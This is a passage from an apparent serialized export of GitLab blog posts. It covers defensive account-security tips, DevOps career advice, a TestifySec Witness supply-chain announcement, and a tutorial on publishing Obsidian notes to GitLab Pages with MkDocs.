way to help defend you and your organization from these types of attacks:\n\n* **Enable multi-factor authentication (MFA).** Make sure your GitLab accounts require MFA to access. Enable it on everything you can. MFA makes gaining access to accounts more difficult and decreases the chances of a successful attack. You can check out the [GitLab documentation on enabling MFA](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html) for how to do this on your account. \n\n* **Patch!** If you are a self-managed GitLab user, make sure you are running the most recent version. You can read about each [release in a corresponding blog post](/releases/categories/releases/), including security releases, and visit our [Updates page](/update/) to update your instances. To get security release blog notifications delivered to your inbox, visit our [contact us page](/company/contact/). To receive release notifications via RSS, subscribe to our [security release RSS feed](/security-releases.xml) or our [RSS feed for all releases](/all-releases.xml). \n\n* **Secure your GitLab instance.** If you are an administrator of your own self-managed GitLab instance, check out our [secure configuration advice](/blog/gitlab-instance-security-best-practices/), and use [reference architectures](https://docs.gitlab.com/ee/administration/reference_architectures/) where possible.\n\n* **Patch some more!** Make sure your operating systems, mobile devices, apps, etc. are all up-to-date and patched as well.\n\n* **Use a password manager.** Use a password manager so you only need to come up with one strong password. This helps prevent password reuse and for most people is a secure enough way to handle good password practices. You can see the [GitLab password policy guidelines](/handbook/security/#gitlab-password-policy-guidelines) as a reference for how we guide our own GitLab team members.\n\n* **Think before clicking.** Be suspicious of any email that asks you to take action. Use your best judgment and check the basics (do you know the sender? are there typos in the message? if you hover over the link does the true destination match the url? etc.) to reasonably decide if you should click on a link or not. That advice is especially true if that link takes you to a page asking for authentication. See [how we advise our own GitLab team members to identify a basic phishing attack](/handbook/security/security-assurance/governance/phishing.html#how-to-identify-a-basic-phishing-attack).\n\n* **Use audit logs.** If you are running GitLab self-managed it is also a good time to ensure that you understand what audit logs are available to you and how to check them. For additional information check our documentation on how our [log system](https://docs.gitlab.com/ee/administration/logs/index.html) works and what [audit events](https://docs.gitlab.com/ee/administration/audit_events.html) are. \n\n     * GitLab.com SaaS customers can generate reports of various activities in their groups and projects by using the [audit events feature](https://docs.gitlab.com/ee/administration/audit_events.html). Our Support handbook provides a deeper dive into [what information we can (and cannot) provide](/handbook/support/workflows/log_requests.html#what-we-cannot-provide) if you contact Support for additional detail. If you'd like to see something else in the product, consider submitting a [feature request](https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_template=Feature%20proposal%20-%20detailed&issue[title]=Docs%20feedback%20-%20feature%20proposal:%20Write%20your%20title).  \n\nIf you're already doing everything above, fantastic! If we forgot something, please let us know. For reference, you can review our [security best practices for GitLab team members](/handbook/security/). If you've got a security question or concern, review [how to contact our Support team](/support/#contact-support). If you believe [you've discovered a vulnerability, see how to report it](/security/disclosure/#reporting-a-vulnerability-about-gitlab-or-gitlabcom). Lastly, to stay informed you can [sign-up to receive security alerts and notifications via email](/company/contact/).  \n\nThank you for working together with us to keep our community and GitLab safe and secure.\n",[674],{"slug":14915,"featured":6,"template":678},"security-hygiene-best-practices-for-gitlab-users","content:en-us:blog:security-hygiene-best-practices-for-gitlab-users.yml","Security Hygiene Best Practices For Gitlab Users","en-us/blog/security-hygiene-best-practices-for-gitlab-users.yml","en-us/blog/security-hygiene-best-practices-for-gitlab-users",{"_path":14921,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14922,"content":14928,"config":14934,"_id":14936,"_type":16,"title":14937,"_source":17,"_file":14938,"_stem":14939,"_extension":20},"/en-us/blog/want-a-better-devops-career-learn-the-business",{"title":14923,"description":14924,"ogTitle":14923,"ogDescription":14924,"noIndex":6,"ogImage":14925,"ogUrl":14926,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14926,"schema":14927},"Want a better DevOps career? Learn the business","A better DevOps career starts with a thorough understanding of business. Here's how to get started.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669715/Blog/Hero%20Images/synchronous-collaboration-as-a-remote-designer.jpg","https://about.gitlab.com/blog/want-a-better-devops-career-learn-the-business","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Want a better DevOps career? Learn the business\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Johanna Ambrosio\"}],\n        \"datePublished\": \"2022-03-17\",\n      }",{"title":14923,"description":14924,"authors":14929,"heroImage":14925,"date":14931,"body":14932,"category":8943,"tags":14933},[14930],"Johanna Ambrosio","2022-03-17","\nIf it’s time to add to your skill set and improve your DevOps career, a new programming language is always a good choice, but a fundamental understanding of your company’s business might be better. \n\nSpending time to understand the “business side” isn’t just a nice-to-have – it can literally be the difference between remaining an individual contributor or moving into management. It’s so important that in our 2021 Global DevSecOps Survey, respondents ranked “subject matter expertise” as one of the top skills they’d need for their future DevOps careers. \n\nIf you plan to stay a pure technologist and don’t want to manage anyone else or engage in strategy development, you can stop reading now. But if you want to jumpstart your DevOps career, be prepared to put in a couple of hours each week on the following six areas of subject matter expertise. (This is all while [staying current with your tech skills](/blog/the-top-skills-you-need-to-get-your-devops-dream-job/), of course.) Enlist your HR department, your manager, and your mentor(s) for information and start adding to your DevOps career right away. \n\n**Find out all you can about your company.** Yes, you probably got a bit of this when you first started working there, but you could likely use a deeper dive or a refresher. If your company has a knowledge-sharing wiki or library that includes materials about the company’s history and background, make that your go-to. Do a web search. Really explore your company’s website. What’s on the home page? What are the major sections of the site, and what’s being promoted and/or explained to your company’s customers? (And do re-check from time to time; this isn’t a one-and-done process.) \n\nIf your company started out doing X and shifted to Y, when did that happen, and why? (If you’re on Slack or another company-wide communication platform, those can be great places to ask about the past and course corrections.). Soak up any history and as much of the culture as possible. \nLearn about the business you’re in. If your company manufactures widgets, become better-versed in the fundamentals of widget manufacturing. The web is your friend here; you can learn tons for free. Here are some questions to ask:\n\n- Does the company make or create everything it sells, or does it partner with others? \n- How does the manufacturing process work? \n- Where are the plants? \n- Is the company hitting snags these days because of shipping problems or shortages of parts? What’s it doing to address these? \n- What are the major trends affecting the business now, and what’s projected for the next couple of years? \n\n**Search for analyst reports about the industry you’re in.** And even if you can’t get the full reports without paying for them, you can soak up enough from the key takeaways or executive summaries to understand the most important trends. Find out which key publications – online or paper – your management reads to keep up with the industry. Subscribe, or at least read them from time to time.\n\n**Do some competitive research.** You don’t need to create a hugely detailed competitive analysis, of course, but know your firm’s major business rivals –- who they are, what sets them apart from each other, and what differentiates your own company from the rest of the pack. Your marketing department likely already has this document.\n\n**Absorb all you can about your company’s external customers.** Who are they and what products and services do they buy from your firm? If your company’s done focus groups, or surveys, or anything to do with finding out about customer preferences, read through at least the executive summaries to get the big picture. Again, the marketing department will probably have materials you can read.\n\n**Acquire essential business know-how.** Basic [communication skills](/blog/soft-skills-are-the-key-to-your-devops-career-advancement/) – both oral and written – are key to doing pretty much anything on the job, no matter your role or seniority. It’s essential to be both concise and clear, and those are learned aptitudes, not bestowed at birth. As you progress in your career, you’ll need to be able to communicate with internal customers and make presentations to managers and others. \n\n**Seek out leadership, problem-solving, and negotiation skills to improve how you work with others.** Those skills will also help you get to consensus in meetings as quickly as possible. Basic financial management is also key ([Coursera courses, books, or a community college](https://www.coursera.org/learn/finance-for-non-financial-managers)are good options); you’ll want to learn how to shepherd tech projects that come in at or under budget and understanding some level of finance will save you when talking to higher-ups who are all about the bottom line. \nPractice (or learn) time management skills. Yes, you depend on others for pieces of the projects you work on. But you should learn to use your own time most effectively and not be *The Person Who Holds Everything Up* or is hopelessly disorganized anytime someone asks you a question. This will also help you juggle multiple projects without crashing and burning or having to work 12-hour days. Bonus: These techniques can be very helpful in your personal life also.\n\nYour DevOps career goal with learning all of this is to develop the knowledge and tools you need to think broadly about how tech can solve problems, make or save money, create new products and services, and delight customers. \n\nThe more you know about your company, your customers, and the business you’re in, the more you’ll be able to combine that knowledge with your tech smarts. Yours might be the next game-changer idea that results in your promotion or a nice, fat bonus. The sky’s the limit.\n\n\n",[4103,7715,2368],{"slug":14935,"featured":6,"template":678},"want-a-better-devops-career-learn-the-business","content:en-us:blog:want-a-better-devops-career-learn-the-business.yml","Want A Better Devops Career Learn The Business","en-us/blog/want-a-better-devops-career-learn-the-business.yml","en-us/blog/want-a-better-devops-career-learn-the-business",{"_path":14941,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14942,"content":14947,"config":14953,"_id":14955,"_type":16,"title":14956,"_source":17,"_file":14957,"_stem":14958,"_extension":20},"/en-us/blog/gitlab-and-testify-sec-witness-alliance",{"title":14943,"description":14944,"ogTitle":14943,"ogDescription":14944,"noIndex":6,"ogImage":12013,"ogUrl":14945,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14945,"schema":14946},"How to enhance supply chain security with GitLab and TestifySec","New alliance partner TestifySec makes Witness available in GitLab","https://about.gitlab.com/blog/gitlab-and-testify-sec-witness-alliance","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to enhance supply chain security with GitLab and TestifySec\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nicole Schwartz\"}],\n        \"datePublished\": \"2022-03-16\",\n      }",{"title":14943,"description":14944,"authors":14948,"heroImage":12013,"date":14950,"body":14951,"category":734,"tags":14952},[14949],"Nicole Schwartz","2022-03-16","\n\n_This blog post and linked pages contain information related to upcoming products, features, and functionality. It is important to note that the information presented is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog post and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab Inc._\n\nToday, GitLab is excited to announce that our partner [TestifySec](https://www.testifysec.com/) has integrated their [Witness](https://github.com/testifysec/witness) open-source tool into GitLab allowing us to take another step along our [Secure Software Supply Chain Direction](https://about.gitlab.com/direction/supply-chain/).\n\n## Secure software supply chain \n\nAn emerging concern in the software development space is being able to secure your software supply chain, an important element of which is documenting the entire supply chain and development progress by creating a chain of custody starting from code creation, build, test, package, and going through deployment. One important element of this chain of custody is commonly referred to as a Software Bill of Materials [SBOM](https://www.ntia.gov/SBOM). There are also frameworks, such as [SLSA](https://slsa.dev/) which collect additional elements about the process. Together these documents are becoming critical components to satisfying regulated industry requirements.\n\nThere are many opportunities as a DevOps Platform to rise to the challenge of creating transparency around software components or artifacts. \n\n## TestifySec Witness\n\nRecent compromises and attacks on the software supply chain such as Solarburst and Log4shell highlight the need for a new way of securing CI systems and their artifacts. This is why [TestifySec](https://www.testifysec.com/) created [Witness](https://github.com/testifysec/witness).\n\nCI systems are an incredible source of data.  Many CI systems such as GitLab, along with their cloud infrastructure, provide tokens with non-falseable data. Witness verifies and records this data, along with inputs and outputs from a CI process in a verifiable and standardized way.\n\nIn current generation CI systems we restrict the release of artifacts based on pass or failure of build steps. However, most organizations have no standardized way to leverage the metadata available during the CI process in order to inform policy decisions in production environments.\n\nIn next-generation CI systems, data collected during the CI process is not thrown away. Instead, we make this data available to security administrators for use at any policy enforcement point.  With [Witness](https://github.com/testifysec/witness), you shift security left, while communicating risk right.  \n\nOnce an artifact is built it becomes difficult to understand where it was built. Most major cloud providers provide some sort of identity mechanism to verify the instance identity. On AWS this is called the Instance metadata service. The data available in this API is verifiable and is a perfect data structure to make an Witness attestation.\n\nWitness records AWS identity metadata and cryptographically links it to the build artifact and any other events in that CI process.  \n\nYou can [see the demo](https://gitlab.com/testifysec/demos/witness-demo).\n\nGitLab and TestifySec will be enhancing our features around this as time goes on - keep an eye out for more!\n\nRead more about GitLab's [Secure Software Supply Chain Direction](https://about.gitlab.com/direction/supply-chain/).\n",[674,2368,1444],{"slug":14954,"featured":6,"template":678},"gitlab-and-testify-sec-witness-alliance","content:en-us:blog:gitlab-and-testify-sec-witness-alliance.yml","Gitlab And Testify Sec Witness Alliance","en-us/blog/gitlab-and-testify-sec-witness-alliance.yml","en-us/blog/gitlab-and-testify-sec-witness-alliance",{"_path":14960,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14961,"content":14966,"config":14972,"_id":14974,"_type":16,"title":14975,"_source":17,"_file":14976,"_stem":14977,"_extension":20},"/en-us/blog/publishing-obsidian-notes-with-gitlab-pages",{"title":14962,"description":14963,"ogTitle":14962,"ogDescription":14963,"noIndex":6,"ogImage":12013,"ogUrl":14964,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14964,"schema":14965},"Publishing Obsidian.md notes with GitLab Pages","How to publish your Obsidian.md documents to a GitLab Pages site","https://about.gitlab.com/blog/publishing-obsidian-notes-with-gitlab-pages","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Publishing Obsidian.md notes with GitLab Pages\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Scott Hampton\"}],\n        \"datePublished\": \"2022-03-15\",\n      }",{"title":14962,"description":14963,"authors":14967,"heroImage":12013,"date":14969,"body":14970,"category":734,"tags":14971},[14968],"Scott Hampton","2022-03-15","\n\n[Obsidian.md](https://obsidian.md) is a \"knowledge base\" application that uses plain text Markdown files stored in a local folder to\norganize your notes. The product has been growing in popularity, partly because of how extensible it is. There are a\nlot of community built plugins to help users configure the application to support their specific workflow. There are\nmany people that use Obsidian to write their blog posts. [Obsidian offers a paid service to publish your notes directly](https://obsidian.md/publish)\nand is completely compatible with features Obsidian offers. I suggest you support the Obsidian developers if their product\nworks for you. If you are looking for an alternative way to publish, this blog post provides a tutorial for how to publish your notes using GitLab\nPages.\n\nYou can find an Obsidian.md example in [this demonstration project](https://gitlab.com/gitlab-org/frontend/playground/obsidian-and-gitlab-pages-demo)\nwhich deploys [a GitLab Pages site](https://gitlab-org.gitlab.io/frontend/playground/obsidian-and-gitlab-pages-demo/). \n\n## What is Obsidian markdown?\n\nObsidian is markdown-based system, which means it incorporates tags, plugins and backlinks to create an easy-to-use system. It makes it possible for you to use symbols inside the text that are interpreted as text formatting. This [link](https://www.markdownguide.org/cheat-sheet/) is a cheat sheet of all the mardown syntax elements.\n\n### Benefits of Obsidian.md\n\nPerhaps the most significant benefit of Obsidian markdown (md) is its simple, straightforward design and the excellent support provided. It is also extensible, with plenty of community plugins available. \n\nThere is no proprietary formatting, encoding. This gives you greater control over how you backup files and manage change tracking.\n\nObsidian doesn't support git right out the box, it requires a community plugin called Obsidian Git. However, one the plugin is installed, “you end up with the greatest change tracking/archiving tool at your disposal,” one user [raves](https://www.faesel.com/blog/why-every-developer-needs-to-use-obsidian).\n\n### How is Obsidian.md different from other markdown languages?\n\nObsidian markdown [differs from other markdown editors](https://cylab.be/blog/149/what-is-obsidianmd-and-why-you-should-use-it) in that it uses the “Linked Thought” feature, which refers to a group of note-taking applications that allow you to link thoughts and notes together seamlessly. Because it is based on the [Markdown language](https://en.wikipedia.org/wiki/Markdown), it is light-weight. The tool expands on the markdown language with additional functionality, such as creating links between files, offering \"hover over preview\" of links and easy inclusion and management of sources.\n\nFor example, Obsidian lets you hover over any links added to a document and see a small preview of what the links refers to. You just need to position your mouse over the \"Format your notes\" link.\n\n### Some notable features of Obsidian.md\n\nThere’s a visually-striking graph view that’s acts as a map of all your files stored in Obsidian. There is also a markdown format importer that can find and replace certain Markdown syntax elements in your files, and support for [math and diagram](https://publish.obsidian.md/help/How+to/Format+your+notes) syntax.\n\nAlso noteworthy is that Obsidian makes it easy to publish notes online and it stores all of your files in plaintext markdown files.\n\nObsidian supports CommonMark and GitHub Flavored Markdown (GFM) so you can embed notes and other files. It stores data in folders of markdown files so you can access your notes with other text editors or markdown apps. Obsidian also lets you open existing folders of markdown files.\n\n## Is Obsidian good for notes?\n\nObsidian is a very capable, free note-taking app (with advanced, paid tiers available as well). It touts itself as a [“second brain”](https://obsidian.md/) that is good for creating a knowledge base, markdown file editor and linking notes together. It is designed to take notes quickly and is easy to use, making it an ideal app. You just open the app, create a new note and start typing.\n\nIt works across multiple platforms, including Windows, iOS, Android and Linux.\n\nObsidian has been called the [“most advanced note-taking app.”](https://deskoflawyer.com/secure-note-taking-apps/)\n\n## Setting up Obsidian notes\n\nOnce you download the app, you will see the main Obsidian window, which has the different options on the left, then the folder/files panel and the composition area where you an create and edit your notes.\n\nThere are four icons on the left side: collapse panel, open quick switcher, open graph view, and open markdown importer. The collapse panel shows (or hides) the left panel.When you tap the open quick switcher button, it brings up a text box where you can begin to type. The open graph view shows a graph listing the connections each page has. The open markdown importer lets you import markdown files into Obsidian from other applications.\n\nYou’ll also see three buttons: \n\n1. Open another vault \n2. Help\n3. Settings\n\nThe vault refers to a collection of notes that you can open or create.\n\nYou have the option of either creating a note directly or creating a note via a link. In the former instance, in the folder panel, click on the “new note” button or use the keyboard shortcut for Windows: Control N, or for Mac: Command N. Now you’ve created a new note.\n\nAn interesting time-saving feature is that you can create a note via a link and assign a name to that new note. You have to click on the link to actually create it.\n\nYou can find a helpful guide [here](https://www.sitepoint.com/obsidian-beginner-guide/).\n\n## Organizing an Obsidian note using folders\n\nWhen you begin using Obsidian you have to designate where you want to keep your notes. If you already have your notes in markdown format in a folder, you would choose the “open folder as vault” option. Otherwise, you can create a new vault and choose a location to store your notes.\n\nYou can drag and drop notes to move them around. There are three icons at the top pane that allow you to create a new note, make a new folder, or change the sorting order.\n\nObsidian has a powerful search feature that checks the content of your notes and returns all results very quickly. Access it by clicking on the magnifying glass icon at the top to begin a  search of your notes.\n\nYou’ll already be in editor mode by default when you open Obsidian and you can edit your notes or write new ones. All markdown syntax is visible in this mode. Press Ctrl + E to switch to preview mode, and the syntax will disappear and the note will appear formatted.\n\nIf you type a hashtag before a word, Obsidian will detect it and assign it to the note, regardless of where it is in your text.\n\n## Get going with Obsidian.md\n\n[Obsidan.md](https://obsidian.md), at it's core, is an application that helps manage your markdown files. You can download the application\nvia their site and create a \"workspace\" folder when you first start the application. When using the application, all of your notes\nwill be created in the folder you choose as your \"workspace\".\n\n![Obsidian application](https://about.gitlab.com/images/blogimages/obsidian_md.png){: .shadow}\n\n### Workspace file structure\n\nInside your Obsidian workspace, you can have any number of folders and markdown files. When you open a folder in Obsidian as your \"workspace\",\nObsidian will automatically add a folder `.obsidian`, which contains your workspace configuration such as application styles and plugins.\nA basic workspace file structure could look something like this:\n\n```\n.\n├── workspace_folder/\n│   └── Other pages/\n│   │   └── Another page.md\n│   └── .obsidian\n│   └── index.md\n```\n\n`index.md`\n```markdown\n# Home\n\nThis is a basic home page, and a link to another page in my documents.\n\nSee [[Another page]] - note that this link uses wikilinks which Obsidian uses to help you easily link to other notes in your workspace.\n```\n\n`Other pages/Another page.md`\n```markdown\n# Another page\n\nThis is another page besides the home page.\n```\n\n## Generating a static site to host your notes\n\nIn order to publish your notes to GitLab Pages, you need to create a static site to show and navigate your notes.\nThere are several open source tools that generate static sites from Markdown documents. After experimenting\nwith a few, I found [MkDocs](https://www.mkdocs.org/) to be the easiest and most compatible with Obsidian.\n\nIf you would like to use MkDocs locally, you can install it with `pip install mkdocs`\n(Python and [pip as package manager](https://pypi.org/project/pip/) are required).\nThis is not necessary, because in this tutorial we'll utilize GitLab CI pipelines to install MkDocs and build our site.\n\nThere are two small steps you need to make in order to get your existing Obsidian notes working with MkDocs.\n\n### File structure\n\nAll files that are not your workspace notes will be created outside of your workspace folder. The following folder structure is\nhow this final demo project is going to look.\n\n```\n.\n├── wiki/\n│   └── .obsidian\n│   └── index.md\n├── .gitlab-ci.yml\n├── mkdocs.yml\n└── requirements.txt\n```\n\n - `wiki/` - this is your Obsidian workspace folder\n - `.obsidian` - the application configuration folder Obsidian uses for your workspace. This will not affect the site.\n - `index.md` - MkDocs looks for `index.md` in your workspace folder to use as your site's home page.\n - `.gitlab-ci.yml` - the GitLab CI configuration file used to deploy your site.\n - `mkdocs.yml` - the MkDocs configuration file use to build and customize your site.\n - `requirements.txt` - this file defines the Python package dependencies for MkDocs.\n\n### Basic MkDocs Configuration\n\nYou'll need to create a configuration file `mkdocs.yml` for MkDocs to know how you would like your site to look.\nHere are the first four lines we need to configure our notes.\n\n```yaml\nsite_name: My Obsidian Notes\nsite_url: https://group-name.gitlab.io/repo-name\nsite_dir: public\ndocs_dir: ./wiki\n```\n\n- `site_name` - is what will be used as the main title for the web site.\n- `site_url` - is used as the \"canonical URL\" of the site. You will need to use [the default URL provided by GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/getting_started_part_one.html#gitlab-pages-default-domain-names) or your custom domain here.\n- `site_dir` - GitLab Pages requires HTML source code to be contained in a `public` folder. This setting tells MkDocs to put the generated files in the `public` folder.\n- `docs_dir` - this is the relative path to your workspace folder. I like to name mine `wiki` because it's my personal wikipedia. You can name this folder whatever you want.\n\nWe'll come back to this configuration file later to add more custom styles to your site.\n\n## Configuring GitLab CI\n\nWe need to configure a GitLab CI job to install MkDocs and build the web site based on our Obsidian notes. The following\n`.gitlab-ci.yml` file has the basic setup for this:\n\n```yaml\nimage: python:3.8-slim\n\npages:\n  stage: deploy\n  script:\n    # Install all of the python packages for mkdocs\n    - pip install -r requirements.txt\n    # Build the site using mkdocs\n    # --strict aborts the build on any warnings\n    # --verbose enables verbose output so that it's easier to see what mkdocs is doing\n    # neither --strict nor --verbose are necessary if you choose not to use them\n    - mkdocs build --strict --verbose\n  artifacts:\n    paths:\n      - public\n  only:\n    - main\n```\n\nThis job will only run when a change is made to the default branch (`main` in this case).\n\n### Python Packages\n\nNote the line `pip install -r requirements.txt` in the above `.gitlab-ci.yml` file. This line is installing MkDocs and any\nadditional plugins you use to customize your site. You'll need to create a `requirements.txt` file for this script to work:\n\n```text\n# Documentation static site generator & deployment tool\nmkdocs>=1.1.2\n```\n\nWe'll come back to this `requirements.txt` file to add a couple more packages to customize our site later.\n\n## Customizing your site\n\nOne of the benefits of using MkDocs is that it has a lot of extensions you can add on to customize your site. You can\nchange the theme of the site, which adjusts the colors and layout. You can also add extensions that improve how your\nmarkdown notes are displayed and interacted with on the site.\n\n### Theme\n\nMkDocs includes two built-in themes (`mkdocs` and `readthedocs`), [as documented on their website](https://www.mkdocs.org/user-guide/choosing-your-theme/).\nThere are also a lot of [community built themes](https://github.com/mkdocs/mkdocs/wiki/MkDocs-Themes) you can search through and choose to use.\nMy current favorite theme is [Material](https://github.com/mkdocs/mkdocs/wiki/MkDocs-Themes#material-for-mkdocs-). You can install it by adding it our `requirements.txt` and choosing\nit as your theme in the `mkdocs.yml` configuration file, or if you are installing it locally you can install it with `pip install mkdocs-material`.\n\n`requirements.txt`\n```text\n# Material theme\nmkdocs-material>=8.1.7\n```\n\n`mkdocs.yml`\n```yaml\ntheme:\n  name: material\n  palette:\n    scheme: slate\n```\n\nI have chosen the `slate` scheme for the material theme which makes it darker. You can choose more configuration options\nbased on [their website documentation](https://squidfunk.github.io/mkdocs-material/setup/changing-the-colors/).\n\n### Extensions\n\nMkDocs includes [built-in extensions](https://www.mkdocs.org/user-guide/configuration/#markdown_extensions) that you can add to your `mkdocs.yml` configuration file. The\n[Material](https://github.com/mkdocs/mkdocs/wiki/MkDocs-Themes#material-for-mkdocs-) theme package also comes with many more extensions that we can use. Below are some of my favorite\nfor working with Obsidian:\n\n```yaml\n# Extensions\nmarkdown_extensions:\n  - footnotes\n  - attr_list\n  - pymdownx.highlight\n  - pymdownx.superfences\n  - pymdownx.details\n  - pymdownx.magiclink\n  - pymdownx.tasklist\n  - pymdownx.emoji\n  - admonition\n  - toc:\n    permalink: true\n```\n\n- `footnotes` - adds the ability to define inline footnotes, whech are then rendered below all Markdown content of a document. [See documentation here](https://squidfunk.github.io/mkdocs-material/reference/footnotes/).\n- `attr_list` - allows you to add HTML attributes and CSS classes to almost every Markdown inline and block-level element with special syntax. [See documentation here](https://squidfunk.github.io/mkdocs-material/setup/extensions/python-markdown/#attribute-lists).\n- `pymdownx.highlight` - adds support for syntax highlighting of code blocks. [See documentation here](https://facelessuser.github.io/pymdown-extensions/extensions/highlight/).\n- `pymdownx.superfences` - allows for arbitrary nesting of code and content blocks inside each other. [See documentation here](https://facelessuser.github.io/pymdown-extensions/extensions/superfences/).\n- `pymdownx.details` - allows for creating collapsible content blocks. [See documentation here](https://facelessuser.github.io/pymdown-extensions/extensions/details/).\n- `pymdownx.magiclink` - provides a number of useful link related features such as auto-link HTML and emails. [See documentation here](https://facelessuser.github.io/pymdown-extensions/extensions/magiclink/).\n- `pymdownx.tasklist` - adds support for tasklist syntax. [See documentation here](https://facelessuser.github.io/pymdown-extensions/extensions/tasklist/).\n- `pymdownx.emoji` - adds support for inserting emoji via simple short names enclosed within colons (`:short_name:`). [See documentation here](https://facelessuser.github.io/pymdown-extensions/extensions/emoji/).\n- `admonition` - allows you to create \"callouts\" in your documentation. [See documentation here](https://squidfunk.github.io/mkdocs-material/reference/admonitions/).\n- `toc:permalink` - adds a table of contents to your page based on your markdown document, and ensures each link is a permanent link that can be reused. [See documentation here](https://python-markdown.github.io/extensions/toc/).\n\n### Plugins\n\nMkDocs also has a community of plugins that add more features when building your site. MkDocs includes some plugins by default that you can use in the configuration file, but in order to use community plugins you have to add them to the\n`requirements.txt` file to be installed as packages. The following two plugins are ones that I've found useful, but you\ncan look at [the list of community plugins here](https://github.com/mkdocs/mkdocs/wiki/MkDocs-Plugins):\n\n```yaml\nplugins:\n  - search\n  - roamlinks\n```\n\n- `search` - provides a search bar at the top of your site to easily search your documents. [See documentation here](https://www.mkdocs.org/user-guide/configuration/#search).\n- `roamlinks` - adds support for Obsidian's wikilinks feature. [See documentation here](https://github.com/Jackiexiao/mkdocs-roamlinks-plugin).\n\n`requirements.txt`\n```text\n# Wikilinks support\nmkdocs-roamlinks-plugin>=0.1.3\n```\n\nIf installing locally, you can install roamlinks with `pip install mkdocs-roamlinks-plugin`.\n\n## Combining it all together\n\nAfter all of the above work is done, you should have a file structure that looks like this:\n\n```\n.\n├── wiki/\n│   └── .obsidian\n│   └── index.md\n├── .gitlab-ci.yml\n├── mkdocs.yml\n└── requirements.txt\n```\n\nHere are the contents of the three main files that you've been editing:\n\n`.gitlab-ci.yml`\n```yaml\nimage: python:3.8-slim\n\npages:\n  stage: deploy\n  script:\n    - pip install -r requirements.txt\n    - mkdocs build --strict --verbose\n  artifacts:\n    paths:\n      - public\n  only:\n    - main\n```\n\n`mkdocs.yml`\n```yaml\nsite_name: My Obsidian Notes\nsite_url: https://group-name.gitlab.io/repo-name\nsite_dir: public\n\ntheme:\n  name: material\n  palette:\n    scheme: slate\n\n# Extensions\nmarkdown_extensions:\n  - footnotes\n  - attr_list\n  - pymdownx.highlight\n  - pymdownx.superfences\n  - pymdownx.details\n  - pymdownx.magiclink\n  - pymdownx.tasklist\n  - pymdownx.emoji\n  - admonition\n  - toc:\n    permalink: true\n\nplugins:\n  - search\n  - roamlinks\n```\n\n`requirements.txt`\n```text\n# Documentation static site generator & deployment tool\nmkdocs>=1.1.2\n\n# Material theme\nmkdocs-material>=8.1.7\n\n# Wikilinks support\nmkdocs-roamlinks-plugin>=0.1.3\n```\n\nNow that your files are all finished, the last step is to push your changes to your GitLab repository and wait for your pipeline\nto finish. Once finished, you can go to [your default domain provided by GitLab](https://docs.gitlab.com/ee/user/project/pages/getting_started_part_one.html#gitlab-pages-default-domain-names) or you can\n[configure GitLab Pages to use a custom domain](https://docs.gitlab.com/ee/administration/pages/index.html).\n\nHere's a screenshot of the demonstration site created in this tutorial:\n\n![Obsidian application](https://about.gitlab.com/images/blogimages/obsidian_mkdocs_site.png){: .shadow}\n\n## Is the Obsidian note-taking secure?\n\nUsers overall believe Obsidian is safe to use. One user said you [maintain full control](https://becomeawritertoday.com/obsidian-review/) over your notes and it provides the ability to encrypt your vault.\n\n[This lawyer](https://deskoflawyer.com/secure-note-taking-apps/) maintains that Obsidian is the most-secure note-taking app available. Others claim there are [no security threats](https://thebusinessblocks.com/is-obsidian-one-of-the-most-secure-and-best-notetaking-apps/) with Obsidian and users don’t have to worry about data being lost or transferred to third parties.\n\nBecause your files are stored on your own computer, this keeps your data safe and private according to another [user](https://www.online-tech-tips.com/computer-tips/how-to-use-obsidian-as-a-personal-wiki-on-your-computer/).\n\n### Where to find more information on Obsidian markdown\n\nYou can find more information in this [Obsidian markdown guide](https://www.markdownguide.org/tools/obsidian/). An Obsidian roadmap is available [here](https://trello.com/b/Psqfqp7I/obsidian-roadmap). Of course, you can also go to the [Obsidan website](https://obsidian.md/).\n\nShare your Obsidian.md deployments in the comments.\n",[696],{"slug":14973,"featured":6,"template":678},"publishing-obsidian-notes-with-gitlab-pages","content:en-us:blog:publishing-obsidian-notes-with-gitlab-pages.yml","Publishing Obsidian Notes With Gitlab Pages","en-us/blog/publishing-obsidian-notes-with-gitlab-pages.yml","en-us/blog/publishing-obsidian-notes-with-gitlab-pages",{"_path":14979,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14980,"content":14986,"config":14991,"_id":14993,"_type":16,"title":14994,"_source":17,"_file":14995,"_stem":14996,"_extension":20},"/en-us/blog/installing-gitlab-on-raspberry-pi-64-bit-os",{"title":14981,"description":14982,"ogTitle":14981,"ogDescription":14982,"noIndex":6,"ogImage":14983,"ogUrl":14984,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14984,"schema":14985},"Installing GitLab on Raspberry Pi 64-bit OS","A Raspberry Pi enthusiast tries to run GitLab on the new 64-bit OS...and here's what happened.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679433/Blog/Hero%20Images/anto-meneghini-gqytxsrctvw-unsplash.jpg","https://about.gitlab.com/blog/installing-gitlab-on-raspberry-pi-64-bit-os","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Installing GitLab on Raspberry Pi 64-bit OS\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brendan O'Leary\"}],\n        \"datePublished\": \"2022-03-14\",\n      }",{"title":14981,"description":14982,"authors":14987,"heroImage":14983,"date":14988,"body":14989,"category":734,"tags":14990},[11790],"2022-03-14","\n\n_This blog post and linked pages contain information related to upcoming products, features, and functionality. It is important to note that the information presented is for informational purposes only. 